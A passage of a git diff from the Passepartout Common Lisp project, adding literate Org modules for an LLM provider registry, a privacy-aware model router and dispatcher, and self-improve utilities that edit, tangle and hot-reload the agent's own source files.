(fiveam:def-suite model-explorer-suite :description "Tests for the model explorer skill")
|
||||
|
||||
(fiveam:in-suite model-explorer-suite)
|
||||
|
||||
(fiveam:test model-explorer-recommend-slots
|
||||
"Contract 1: recommend returns models for all standard slots."
|
||||
(dolist (slot '(:code :chat :plan :background))
|
||||
(let ((recs (passepartout::model-explorer-recommend slot)))
|
||||
(fiveam:is (listp recs))
|
||||
(fiveam:is (>= (length recs) 1)))))
|
||||
|
||||
(fiveam:test model-explorer-recommend-format
|
||||
"Contract 1: each recommendation has :id and :name."
|
||||
(dolist (rec (passepartout::model-explorer-recommend :chat))
|
||||
(fiveam:is (getf rec :id))
|
||||
(fiveam:is (getf rec :name))))
|
||||
|
||||
(fiveam:test model-explorer-recommend-unknown-slot
|
||||
"Contract 1: unknown slot returns fallback list."
|
||||
(let ((recs (passepartout::model-explorer-recommend :unknown)))
|
||||
(fiveam:is (listp recs))
|
||||
(fiveam:is (>= (length recs) 1))))
|
||||
|
||||
(fiveam:test model-explorer-fetch-openrouter-count
|
||||
"Contract 2: OpenRouter API returns at least 300 models."
|
||||
(let ((models (passepartout::model-explorer-fetch :openrouter)))
|
||||
(if models
|
||||
(fiveam:is (>= (length models) 300))
|
||||
(fiveam:skip "API unreachable"))))
|
||||
#+end_src
|
||||
201
org/system-model-provider.org
Normal file
201
org/system-model-provider.org
Normal file
@@ -0,0 +1,201 @@
|
||||
#+TITLE: SKILL: Unified LLM Backend (org-skill-unified-llm-backend.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :skill:model:provider:llm:
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/system-model-provider.lisp
|
||||
|
||||
* Architectural Intent
|
||||
|
||||
~system-model-provider~ is the universal LLM client. It speaks the OpenAI-compatible ~/v1/chat/completions~ protocol, which covers every modern provider — OpenRouter, OpenAI, Anthropic, Groq, Gemini, DeepSeek, NVIDIA NIM, plus any local engine (Ollama, vLLM, LM Studio, llama.cpp) when running behind an OpenAI-compatible adapter.
|
||||
|
||||
One function, eight (and counting) providers. The same JSON payload, the same response format, the same error handling. Adding a new provider is a one-line config entry: a keyword, a base URL, an API key env var name, and a default model.
|
||||
|
||||
Providers register themselves at boot. No API key? That provider doesn't register. No local URL set? The local entry stays dormant. Only the providers you actually configure appear in ~*probabilistic-backends*~ at runtime. The old code assumed Ollama was always available; this code requires an env var like everything else.
|
||||
|
||||
=*provider-cascade*= defaults to cloud-only (all providers except ~:local~ and ~:ollama~). If you want a local fallback, set ~LOCAL_BASE_URL~ in your env and add ~:local~ to the ~PROVIDER_CASCADE~ list.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (provider-config provider): returns the configuration plist for a
|
||||
provider keyword, or nil if unregistered.
|
||||
2. (provider-available-p provider): returns T if the provider's API key
|
||||
or base URL is configured.
|
||||
3. (provider-openai-request prompt system-prompt &key model provider):
|
||||
executes an OpenAI-compatible /v1/chat/completions request. Returns
|
||||
~(:status :success :content ...)~ or ~(:status :error :message ...)~.
|
||||
4. (provider-cascade-initialize): reads ~PROVIDER_CASCADE~ from env and
|
||||
sets ~*provider-cascade*~.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Provider registry
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
|
||||
(defparameter *provider-configs*
|
||||
'((:local . (:base-url nil :key-env nil :url-env "LOCAL_BASE_URL" :default-model "llama3"))
|
||||
(:openrouter . (:base-url "https://openrouter.ai/api/v1" :key-env "OPENROUTER_API_KEY" :default-model "openrouter/auto"))
|
||||
(:openai . (:base-url "https://api.openai.com/v1" :key-env "OPENAI_API_KEY" :default-model "gpt-4o-mini"))
|
||||
(:anthropic . (:base-url "https://api.anthropic.com/v1" :key-env "ANTHROPIC_API_KEY" :default-model "claude-3-5-sonnet-20241022"))
|
||||
(:groq . (:base-url "https://api.groq.com/openai/v1" :key-env "GROQ_API_KEY" :default-model "llama-3.1-70b-versatile"))
|
||||
(:gemini . (:base-url "https://generativelanguage.googleapis.com/v1beta/openai" :key-env "GEMINI_API_KEY" :default-model "gemini-2.0-flash"))
|
||||
(:deepseek . (:base-url "https://api.deepseek.com/v1" :key-env "DEEPSEEK_API_KEY" :default-model "deepseek-chat"))
|
||||
(:nvidia . (:base-url "https://integrate.api.nvidia.com/v1" :key-env "NVIDIA_API_KEY" :default-model "meta/llama-3.1-405b-instruct"))))
|
||||
#+end_src
|
||||
|
||||
** Provider config lookup
|
||||
#+begin_src lisp
|
||||
(defun provider-config (provider)
|
||||
"Returns the configuration plist for a provider keyword."
|
||||
(cdr (assoc provider *provider-configs*)))
|
||||
#+end_src
|
||||
|
||||
** Availability check
|
||||
#+begin_src lisp
|
||||
(defun provider-available-p (provider)
|
||||
"Checks if a provider is configured. Checks API key or URL env vars."
|
||||
(let* ((config (provider-config provider))
|
||||
(key-env (getf config :key-env))
|
||||
(url-env (getf config :url-env))
|
||||
(base-url (getf config :base-url)))
|
||||
(cond (key-env (let ((key (uiop:getenv key-env))) (and key (> (length key) 0))))
|
||||
(url-env (let ((url (uiop:getenv url-env))) (and url (> (length url) 0))))
|
||||
(base-url t))))
|
||||
#+end_src
|
||||
|
||||
** Unified request execution
|
||||
#+begin_src lisp
|
||||
(defun provider-openai-request (prompt system-prompt &key model (provider :openrouter))
|
||||
"Executes a request against any OpenAI-compatible API endpoint."
|
||||
(let* ((config (provider-config provider))
|
||||
(base-url (getf config :base-url))
|
||||
(key-env (getf config :key-env))
|
||||
(url-env (getf config :url-env))
|
||||
(default-model (getf config :default-model))
|
||||
(api-key (when key-env (uiop:getenv key-env)))
|
||||
(model-id (or model default-model))
|
||||
(url (if url-env
|
||||
(let ((host (uiop:getenv url-env)))
|
||||
(if host
|
||||
(format nil "http://~a/v1/chat/completions" host)
|
||||
(format nil "~a/chat/completions" base-url)))
|
||||
(format nil "~a/chat/completions" base-url)))
|
||||
(timeout (or (ignore-errors
|
||||
(parse-integer (uiop:getenv "LLM_REQUEST_TIMEOUT")))
|
||||
30))
|
||||
(headers `(("Content-Type" . "application/json")
|
||||
,@(when api-key `(("Authorization" . ,(format nil "Bearer ~a" api-key))))
|
||||
,@(when (eq provider :openrouter)
|
||||
`(("HTTP-Referer" . "https://github.com/amrgharbeia/passepartout")
|
||||
("X-Title" . "Passepartout")))))
|
||||
(body (cl-json:encode-json-to-string
|
||||
`((model . ,model-id)
|
||||
(messages . (( (role . "system") (content . ,system-prompt) )
|
||||
( (role . "user") (content . ,prompt) )))))))
|
||||
(handler-case
|
||||
(let* ((response (dex:post url :headers headers :content body
|
||||
:connect-timeout (min 10 timeout)
|
||||
:read-timeout (max 10 (- timeout 5))))
|
||||
(json (cl-json:decode-json-from-string response))
|
||||
(choices (cdr (assoc :choices json)))
|
||||
(first-choice (car choices))
|
||||
(message (cdr (assoc :message first-choice)))
|
||||
(content (cdr (assoc :content message))))
|
||||
(if content
|
||||
(list :status :success :content content)
|
||||
(list :status :error :message (format nil "~a: No content" provider))))
|
||||
(error (c)
|
||||
(list :status :error :message (format nil "~a Failure: ~a" provider c))))))
|
||||
#+end_src
|
||||
|
||||
** Register all available providers
|
||||
#+begin_src lisp
|
||||
(defun provider-register-all ()
|
||||
"Scans environment variables and registers all available LLM backends."
|
||||
(dolist (entry *provider-configs*)
|
||||
(let ((provider (car entry)))
|
||||
(when (provider-available-p provider)
|
||||
(log-message "LLM BACKEND: Registering provider ~a" provider)
|
||||
(register-probabilistic-backend provider
|
||||
(lambda (prompt system-prompt &key model)
|
||||
(provider-openai-request prompt system-prompt :model model :provider provider)))))))
|
||||
#+end_src
|
||||
|
||||
** Initialize cascade
|
||||
#+begin_src lisp
|
||||
(defun provider-cascade-initialize ()
|
||||
"Reads PROVIDER_CASCADE from env and sets *provider-cascade*."
|
||||
(let ((cascade-str (uiop:getenv "PROVIDER_CASCADE")))
|
||||
(if cascade-str
|
||||
(setf *provider-cascade*
|
||||
(mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space #\" #\') s)) :keyword))
|
||||
(uiop:split-string cascade-str :separator '(#\,))))
|
||||
(setf *provider-cascade* (mapcar #'car (remove-if (lambda (e)
|
||||
(member (car e) '(:local)))
|
||||
*provider-configs*))))))
|
||||
#+end_src
|
||||
|
||||
** Provider connection test (for TUI config)
|
||||
;; REPL-verified: 2026-05-04
|
||||
#+begin_src lisp
|
||||
(defun test-provider-connection (provider &optional api-key)
|
||||
"Test a provider API key by hitting its models endpoint.
|
||||
Returns (:ok) on success, (:fail reason) on failure.
|
||||
If API-KEY is nil, reads from environment."
|
||||
(let* ((config (provider-config provider))
|
||||
(base-url (getf config :base-url))
|
||||
(key-env (getf config :key-env))
|
||||
(url-env (getf config :url-env))
|
||||
(key (or api-key (when key-env (uiop:getenv key-env)))))
|
||||
(handler-case
|
||||
(let ((url (if url-env
|
||||
(let ((host (or (uiop:getenv url-env) "")))
|
||||
(format nil "http://~a/api/tags" host))
|
||||
(format nil "~a/models" (or base-url "")))))
|
||||
(if key-env
|
||||
(progn (dex:get url :headers `(("Authorization" . ,(format nil "Bearer ~a" key)))
|
||||
:connect-timeout 5 :read-timeout 10)
|
||||
'(:ok))
|
||||
(if url-env
|
||||
(progn (dex:get url :connect-timeout 5 :read-timeout 10) '(:ok))
|
||||
'(:fail "No URL source for this provider"))))
|
||||
(error (c) `(:fail ,(format nil "~a" c))))))
|
||||
#+end_src
|
||||
|
||||
** Boot registration
|
||||
#+begin_src lisp
|
||||
(provider-register-all)
|
||||
(provider-cascade-initialize)
|
||||
#+end_src
|
||||
|
||||
** Skill registration
|
||||
#+begin_src lisp
|
||||
(defskill :passepartout-system-model-provider
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-llm-gateway-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:llm-gateway-suite))
|
||||
|
||||
(in-package :passepartout-llm-gateway-tests)
|
||||
|
||||
(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
|
||||
(fiveam:in-suite llm-gateway-suite)
|
||||
|
||||
(fiveam:test test-provider-rejects-bad-keyword
|
||||
"Contract 3: provider-config returns nil for unregistered provider."
|
||||
(let ((config (provider-config :not-a-real-provider)))
|
||||
(fiveam:is (null config))))
|
||||
|
||||
(fiveam:test test-provider-config-registered
|
||||
"Contract 1: provider-config returns configuration plist for registered provider."
|
||||
(let ((config (provider-config :openrouter)))
|
||||
(fiveam:is (listp config))
|
||||
(fiveam:is (getf config :base-url))))
|
||||
#+end_src
|
||||
223
org/system-model-router.org
Normal file
223
org/system-model-router.org
Normal file
@@ -0,0 +1,223 @@
|
||||
#+TITLE: SKILL: Model Router (org-skill-model-router.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :system:model:routing:
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/system-model-router.lisp
|
||||
|
||||
* Overview: Quadrant-Based Model Routing
|
||||
|
||||
The Model Router implements the four-quadrant cognitive architecture for
|
||||
LLM model selection. Each signal is routed through a pipeline of three
|
||||
filters — privacy, quadrant, and complexity — before a model is chosen.
|
||||
|
||||
The routing pipeline for every probabilistic signal:
|
||||
|
||||
all backends → privacy filter → quadrant/classifier → per-slot cascade → model
|
||||
|
||||
- **Privacy filter** strips cloud backends when content carries ~@personal~ tags.
|
||||
- **Quadrant** determines if the signal is foreground or background.
|
||||
- **Complexity classifier** assigns foreground signals to one of three slots:
|
||||
~:code~, ~:plan~, or ~:chat~.
|
||||
- **Per-slot cascade** selects a backend and model for the slot, with fallback
|
||||
ordering defined in each cascade list.
|
||||
|
||||
The model selector function is registered into the core ~*model-selector*~ hook
|
||||
at load time. The core iterates providers, calling the selector for each one.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** Configuration: Per-Slot Cascades
|
||||
|
||||
Four env-configurable cascade variables, one per slot. Each cascade is a list
|
||||
of ~(provider-keyword . "model-name")~ pairs. The first match for the current
|
||||
backend is used.
|
||||
|
||||
Example:
|
||||
MODEL_CASCADE_CODE='((:ollama . "deepseek-coder:6.7b") (:openrouter . "claude-sonnet"))'
|
||||
|
||||
*** *model-cascade-code*
|
||||
|
||||
The cascade for ~:code~ tasks (code generation, refactoring, bug fixing).
|
||||
Format: ~((:ollama . "model-name") ...)~. Configured via ~MODEL_CASCADE_CODE~.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *model-cascade-code* nil
|
||||
"Cascade for :code tasks: ((:ollama . \"model\") ...)")
|
||||
#+end_src
|
||||
|
||||
*** *model-cascade-plan*
|
||||
|
||||
Cascade for planning and architecture tasks. Configured via ~MODEL_CASCADE_PLAN~.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *model-cascade-plan* nil
|
||||
"Cascade for :plan tasks.")
|
||||
#+end_src
|
||||
|
||||
*** *model-cascade-chat*
|
||||
|
||||
Cascade for general conversation and simple Q&A. Configured via ~MODEL_CASCADE_CHAT~.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *model-cascade-chat* nil
|
||||
"Cascade for :chat tasks.")
|
||||
#+end_src
|
||||
|
||||
*** *model-cascade-background*
|
||||
|
||||
Cascade for background tasks (heartbeat scraping, delegation processing).
|
||||
Configured via ~MODEL_CASCADE_BACKGROUND~.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *model-cascade-background* nil
|
||||
"Cascade for background tasks (heartbeat, delegation).")
|
||||
#+end_src
|
||||
|
||||
*** *local-backends*
|
||||
|
||||
List of backend keywords considered local for privacy routing. Content tagged
|
||||
with ~@personal~ will only be sent to these backends.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *local-backends* '(:ollama :llama-cpp)
|
||||
"Backend keywords considered local (privacy-safe).")
|
||||
#+end_src
|
||||
|
||||
** Complexity Classifier
|
||||
|
||||
Keyword-based heuristic that assigns signal text to a complexity slot.
|
||||
Pluggable — set ~*complexity-classifier*~ to override.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defun model-classify-complexity (text)
|
||||
"Classify TEXT into :code, :plan, or :chat."
|
||||
(let ((lower (string-downcase text)))
|
||||
(cond
|
||||
((or (search "defun" lower) (search "defmacro" lower)
|
||||
(search "write" lower) (search "refactor" lower)
|
||||
(search "fix " lower) (search "implement" lower)
|
||||
(search "code" lower)
|
||||
(search "#+begin_src" lower))
|
||||
:code)
|
||||
((or (search "plan" lower) (search "roadmap" lower)
|
||||
(search "strategy" lower) (search "design" lower)
|
||||
(search "architecture" lower))
|
||||
:plan)
|
||||
(t :chat))))
|
||||
#+end_src
|
||||
|
||||
** Cascade Lookup
|
||||
|
||||
The core iterates each backend in ~*provider-cascade*~ and calls the model
|
||||
selector for each one. This function matches the current backend against the
|
||||
per-slot cascade list to find the appropriate model. Returns the first
|
||||
~:code~ ~(provider . model)~ entry whose provider matches, or ~nil~ if
|
||||
the backend has no entry in that slot's cascade (the core will skip to
|
||||
the next provider).
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defun model-cascade-find (cascade backend)
|
||||
"Find first (PROVIDER . MODEL) in CASCADE matching BACKEND."
|
||||
(assoc backend cascade
|
||||
:test (lambda (a b) (string-equal (string a) (string b)))))
|
||||
#+end_src
|
||||
|
||||
** Model Selector
|
||||
|
||||
The main routing function. Registered into ~*model-selector*~ at init time.
|
||||
Called per-backend by ~backend-cascade-call~. Returns a model name string,
|
||||
or ~:skip~ if the backend should not be tried (e.g., privacy filter).
|
||||
|
||||
Filter order: privacy → quadrant → complexity → cascade.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defun model-select (backend context)
|
||||
"Select model for BACKEND given CONTEXT signal.
|
||||
Returns model name or :skip."
|
||||
(let* ((payload (getf context :payload))
|
||||
(text (or (getf payload :text) ""))
|
||||
(sensor (getf payload :sensor))
|
||||
(has-personal (and (boundp '*dispatcher-privacy-tags*)
|
||||
(some (lambda (tag) (search tag text))
|
||||
(symbol-value '*dispatcher-privacy-tags*))))
|
||||
(is-local (member backend *local-backends*)))
|
||||
;; Privacy: skip cloud backends for personal content
|
||||
(when (and has-personal (not is-local))
|
||||
(log-message "MODEL-ROUTER: Skipping ~a (personal content)" backend)
|
||||
(return-from model-select :skip))
|
||||
;; Quadrant: background tasks use background cascade
|
||||
(if (member sensor '(:heartbeat :delegation :tool-output :loop-error))
|
||||
(let ((entry (car (or *model-cascade-background*
|
||||
'((:ollama . "phi-2"))))))
|
||||
(cdr entry))
|
||||
;; Foreground: classify complexity, use slot cascade
|
||||
(let* ((slot (model-classify-complexity text))
|
||||
(cascade (case slot
|
||||
(:code *model-cascade-code*)
|
||||
(:plan *model-cascade-plan*)
|
||||
(t *model-cascade-chat*)))
|
||||
(entry (model-cascade-find
|
||||
(or cascade '((:ollama . "qwen2.5:14b"))) backend)))
|
||||
(if entry (cdr entry) nil)))))
|
||||
#+end_src
|
||||
|
||||
** Initialization
|
||||
|
||||
Reads cascade configuration from environment variables and registers
|
||||
~model-select~ into the core ~*model-selector*~ hook.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defun model-router-init ()
|
||||
"Read env vars and wire model-select into *model-selector*."
|
||||
(flet ((parse-cascade (str)
|
||||
(when (and str (> (length str) 0))
|
||||
(let ((*read-eval* nil))
|
||||
(read-from-string str)))))
|
||||
(setf *model-cascade-code* (parse-cascade (uiop:getenv "MODEL_CASCADE_CODE"))
|
||||
*model-cascade-plan* (parse-cascade (uiop:getenv "MODEL_CASCADE_PLAN"))
|
||||
*model-cascade-chat* (parse-cascade (uiop:getenv "MODEL_CASCADE_CHAT"))
|
||||
*model-cascade-background* (parse-cascade (uiop:getenv "MODEL_CASCADE_BACKGROUND"))
|
||||
*local-backends* (let ((env (uiop:getenv "LOCAL_BACKENDS")))
|
||||
(if env
|
||||
(mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space #\" #\') s)) :keyword))
|
||||
(uiop:split-string env :separator '(#\,)))
|
||||
'(:ollama :llama-cpp)))))
|
||||
(setf *model-selector* #'model-select)
|
||||
(log-message "MODEL-ROUTER: Initialized, selector=~a" *model-selector*))
|
||||
#+end_src
|
||||
|
||||
** Skill Registration
|
||||
|
||||
The model router is an observer skill — it has no trigger and no
|
||||
deterministic gate. All work happens at load time via ~model-router-init~,
|
||||
which reads env vars and registers into the core ~*model-selector*~ hook.
|
||||
The ~defskill~ call exists only to register metadata (priority, name) for
|
||||
telemetry and lifecycle management.
|
||||
|
||||
#+begin_src lisp
|
||||
(defskill :passepartout-model-router
|
||||
:priority 250
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
#+end_src
|
||||
|
||||
** Auto-Init
|
||||
|
||||
#+begin_src lisp
|
||||
(model-router-init)
|
||||
#+end_src
|
||||
|
||||
|
||||
39
org/system-model.org
Normal file
39
org/system-model.org
Normal file
@@ -0,0 +1,39 @@
|
||||
#+TITLE: SKILL: Model Dispatch (org-skill-model.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :skill:model:dispatch:
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/system-model.lisp
|
||||
|
||||
* Architectural Intent
|
||||
|
||||
~system-model~ is the dispatcher. It sits between the reason pipeline and the provider backends registered in ~*probabilistic-backends*~. The reason pipeline calls ~model-request~ with a provider keyword and a model name; ~model-request~ looks up that provider's handler function, calls it, and returns the result.
|
||||
|
||||
This is intentionally thin. All the provider-specific logic (URL construction, API key headers, JSON parsing) lives in ~system-model-provider~. All the routing logic (which model for which task) lives in ~system-model-router~. This skill is the seam — it decouples "who to call" from "how to call them" and "why to call them."
|
||||
|
||||
When every provider fails (not registered, or all return errors), ~model-request~ returns an error plist with ~:status :error~. The reason pipeline's ~backend-cascade-call~ catches this and falls through to the next provider in the cascade. If no provider can serve the request, the cascade returns the "Neural Cascade Failure" signal.
|
||||
|
||||
~model-request~ replaces the old ~gateway-llm-request~ with the same contract but renamed for consistency with the ~system-model-*~ family.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Request execution
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun model-request (&key prompt system-prompt (provider :openrouter) model)
|
||||
"Central dispatcher for LLM requests."
|
||||
(let ((backend (gethash provider *probabilistic-backends*)))
|
||||
(if backend
|
||||
(handler-case
|
||||
(funcall backend prompt system-prompt :model model)
|
||||
(error (c)
|
||||
(list :status :error :message (format nil "~a Failure: ~a" provider c))))
|
||||
(list :status :error :message (format nil "Provider ~a not registered" provider)))))
|
||||
#+end_src
|
||||
|
||||
** Skill registration
|
||||
#+begin_src lisp
|
||||
(defskill :passepartout-system-model
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (getf ctx :user-input))
|
||||
:deterministic (lambda (action ctx) (declare (ignore ctx)) action))
|
||||
#+end_src
|
||||
@@ -15,91 +15,263 @@ its own implementation while running.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Infrastructure: Org Tangle Utility
|
||||
|
||||
Reads an Org file's ~#+PROPERTY: header-args:lisp :tangle~ line, extracts
|
||||
all ~#+begin_src lisp~ blocks, writes them to the target ~.lisp~ file, and
|
||||
compiles+loads the result. Used by the self-improve functions to propagate
|
||||
edits and repairs to the running daemon.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-tangle-file (filepath)
|
||||
"Tangles an Org file's lisp blocks to its :tangle target, compiles, and loads."
|
||||
(let ((content (uiop:read-file-string filepath))
|
||||
(tangle-path nil)
|
||||
(lisp-lines nil)
|
||||
(in-block nil))
|
||||
(dolist (line (uiop:split-string content :separator '(#\Newline)))
|
||||
(let ((trimmed (string-trim '(#\Space #\Tab) line)))
|
||||
(cond
|
||||
((and (null tangle-path)
|
||||
(search "#+PROPERTY:" trimmed)
|
||||
(search ":tangle" trimmed))
|
||||
(let* ((parts (uiop:split-string trimmed :separator '(#\Space)))
|
||||
(target (car (last parts)))
|
||||
(org-dir (make-pathname :directory (pathname-directory filepath))))
|
||||
(when (and target (not (string-equal target "no")))
|
||||
(setf tangle-path
|
||||
(if (char= (aref target 0) #\/)
|
||||
(uiop:parse-unix-namestring target)
|
||||
(uiop:parse-unix-namestring
|
||||
(format nil "~a/~a" (namestring org-dir) target)))))))
|
||||
((search "#+begin_src lisp" trimmed)
|
||||
(setf in-block t))
|
||||
((search "#+end_src" trimmed)
|
||||
(setf in-block nil)
|
||||
(let ((before (search "#+end_src" line)))
|
||||
(when (and before (> before 0))
|
||||
(push (subseq line 0 before) lisp-lines))))
|
||||
(in-block
|
||||
(push line lisp-lines)))))
|
||||
(when (and tangle-path lisp-lines)
|
||||
(setf lisp-lines (nreverse lisp-lines))
|
||||
(ensure-directories-exist tangle-path)
|
||||
(with-open-file (f tangle-path :direction :output :if-exists :supersede)
|
||||
(format f "~{~a~%~}" lisp-lines))
|
||||
(let ((compiled (compile-file tangle-path)))
|
||||
(when compiled
|
||||
(load compiled)
|
||||
(list :tangled (namestring tangle-path) :compiled t))))))
|
||||
#+end_src
|
||||
|
||||
** Infrastructure: Org Lisp Block Extractor
|
||||
|
||||
Extracts all ~#+begin_src lisp~ block contents from an Org content string,
|
||||
returning a list of code strings. Used by repair functions to iterate over
|
||||
blocks and apply syntactic fixes.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-extract-lisp-blocks (content)
|
||||
"Extracts all #+begin_src lisp blocks from Org CONTENT as a list of strings."
|
||||
(let ((blocks nil)
|
||||
(in-block nil)
|
||||
(current nil))
|
||||
(dolist (line (uiop:split-string content :separator '(#\Newline)))
|
||||
(let ((trimmed (string-trim '(#\Space #\Tab) line)))
|
||||
(cond
|
||||
((search "#+begin_src lisp" trimmed)
|
||||
(setf in-block t current nil))
|
||||
((search "#+end_src" trimmed)
|
||||
(when in-block
|
||||
(let ((before (search "#+end_src" line)))
|
||||
(when (and before (> before 0))
|
||||
(push (subseq line 0 before) current)))
|
||||
(push (format nil "~{~a~%~}" (nreverse current)) blocks)
|
||||
(setf in-block nil current nil)))
|
||||
(in-block
|
||||
(push line current)))))
|
||||
(nreverse blocks)))
|
||||
#+end_src
|
||||
|
||||
** Self-Edit: Surgical Text Transformation
|
||||
|
||||
Applies a search-and-replace edit to a file, verifies the edit took effect,
|
||||
and if the file is an ~.org~ file, automatically tangles it to ~.lisp~ and
|
||||
reloads the compiled result into the running daemon. A memory snapshot is
|
||||
taken before the edit for rollback safety.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defun self-improve-edit (filepath old-text new-text)
|
||||
"Applies a surgical text transformation to a source file.
|
||||
Uses org-modify for the actual replacement, creates a memory snapshot before
|
||||
editing (for rollback), and verifies the edit succeeded. Returns a plist:
|
||||
(:status :success :summary <description>)
|
||||
(:status :error :reason <message>)"
|
||||
"Surgical text replacement with tangle+reload for Org source files."
|
||||
(when (or (null filepath) (null old-text) (null new-text))
|
||||
(return-from self-improve-edit
|
||||
(list :status :error :reason "Missing arguments: filepath, old-text, and new-text required")))
|
||||
(list :status :error :reason "Missing arguments")))
|
||||
(when (not (uiop:file-exists-p filepath))
|
||||
(return-from self-improve-edit
|
||||
(list :status :error :reason (format nil "File not found: ~a" filepath))))
|
||||
(log-message "SELF-IMPROVE: Editing ~a (~d chars)" filepath (length old-text))
|
||||
;; Rollback safety: snapshot memory before modifying
|
||||
(ignore-errors
|
||||
(when (fboundp 'snapshot-memory)
|
||||
(snapshot-memory)))
|
||||
;; Attempt the edit
|
||||
(let ((result (org-modify filepath old-text new-text)))
|
||||
(if result
|
||||
;; Verify: re-read and confirm new text is present
|
||||
(let ((re-read (uiop:read-file-string filepath)))
|
||||
(if (search new-text re-read :test #'string=)
|
||||
(progn
|
||||
(log-message "SELF-IMPROVE: Verified edit in ~a" filepath)
|
||||
(list :status :success
|
||||
:summary (format nil "Replaced ~d chars in ~a" (length old-text) filepath)))
|
||||
(progn
|
||||
(log-message "SELF-IMPROVE: Verification failed for ~a" filepath)
|
||||
(list :status :error :reason "Verification failed: new text not found after write"))))
|
||||
(list :status :error :reason (format nil "Text not found in ~a" filepath)))))
|
||||
(when (fboundp 'snapshot-memory)
|
||||
(snapshot-memory)))
|
||||
(let* ((content (uiop:read-file-string filepath))
|
||||
(pos (search old-text content)))
|
||||
(if pos
|
||||
(let* ((new-content (concatenate 'string
|
||||
(subseq content 0 pos)
|
||||
new-text
|
||||
(subseq content (+ pos (length old-text)))))
|
||||
(ext (pathname-type filepath)))
|
||||
(with-open-file (f filepath :direction :output :if-exists :supersede)
|
||||
(write-sequence new-content f))
|
||||
(let ((re-read (uiop:read-file-string filepath)))
|
||||
(if (search new-text re-read :test 'string=)
|
||||
(let ((tangle-result
|
||||
(when (string-equal ext "org")
|
||||
(ignore-errors (org-tangle-file filepath)))))
|
||||
(list :status :success
|
||||
:summary (format nil "Replaced ~d chars in ~a"
|
||||
(length old-text) filepath)
|
||||
:tangle tangle-result))
|
||||
(list :status :error :reason "Verification failed"))))
|
||||
(list :status :error :reason
|
||||
(format nil "Text not found in ~a" filepath)))))
|
||||
#+end_src
|
||||
|
||||
** Paren Balancer
|
||||
|
||||
Utility that attempts to fix unbalanced parentheses in a Lisp code string.
|
||||
If the code is already balanced, returns nil. Otherwise counts open vs close
|
||||
parens and appends missing closing parens.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defun self-improve-balance-parens (code)
|
||||
"Returns balanced code or nil if already balanced."
|
||||
(handler-case
|
||||
(progn
|
||||
(let ((*read-eval* nil))
|
||||
(with-input-from-string (s code)
|
||||
(loop for form = (read s nil :eof) until (eq form :eof)))
|
||||
(values))
|
||||
nil)
|
||||
(error ()
|
||||
(let* ((opens (loop for ch across code count (char= ch #\()))
|
||||
(closes (loop for ch across code count (char= ch #\))))
|
||||
(missing (- opens closes)))
|
||||
(when (plusp missing)
|
||||
(concatenate 'string code
|
||||
(make-string missing :initial-element #\))))))))
|
||||
#+end_src
|
||||
|
||||
** Syntax Repair Driver
|
||||
|
||||
Given a skill name, locates its ~.org~ source file, extracts all Lisp blocks,
|
||||
runs each through the paren balancer, writes fixes back to the file, tangles,
|
||||
compiles, and reloads.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defun self-improve-repair-syntax (skill-name)
|
||||
"Find and fix unbalanced parens in a skill's Org source file."
|
||||
(let* ((data-dir (uiop:ensure-directory-pathname
|
||||
(or (uiop:getenv "PASSEPARTOUT_DATA_DIR")
|
||||
(merge-pathnames ".local/share/passepartout/"
|
||||
(user-homedir-pathname)))))
|
||||
(org-path (merge-pathnames (format nil "org/~a.org" skill-name) data-dir)))
|
||||
(unless (uiop:file-exists-p org-path)
|
||||
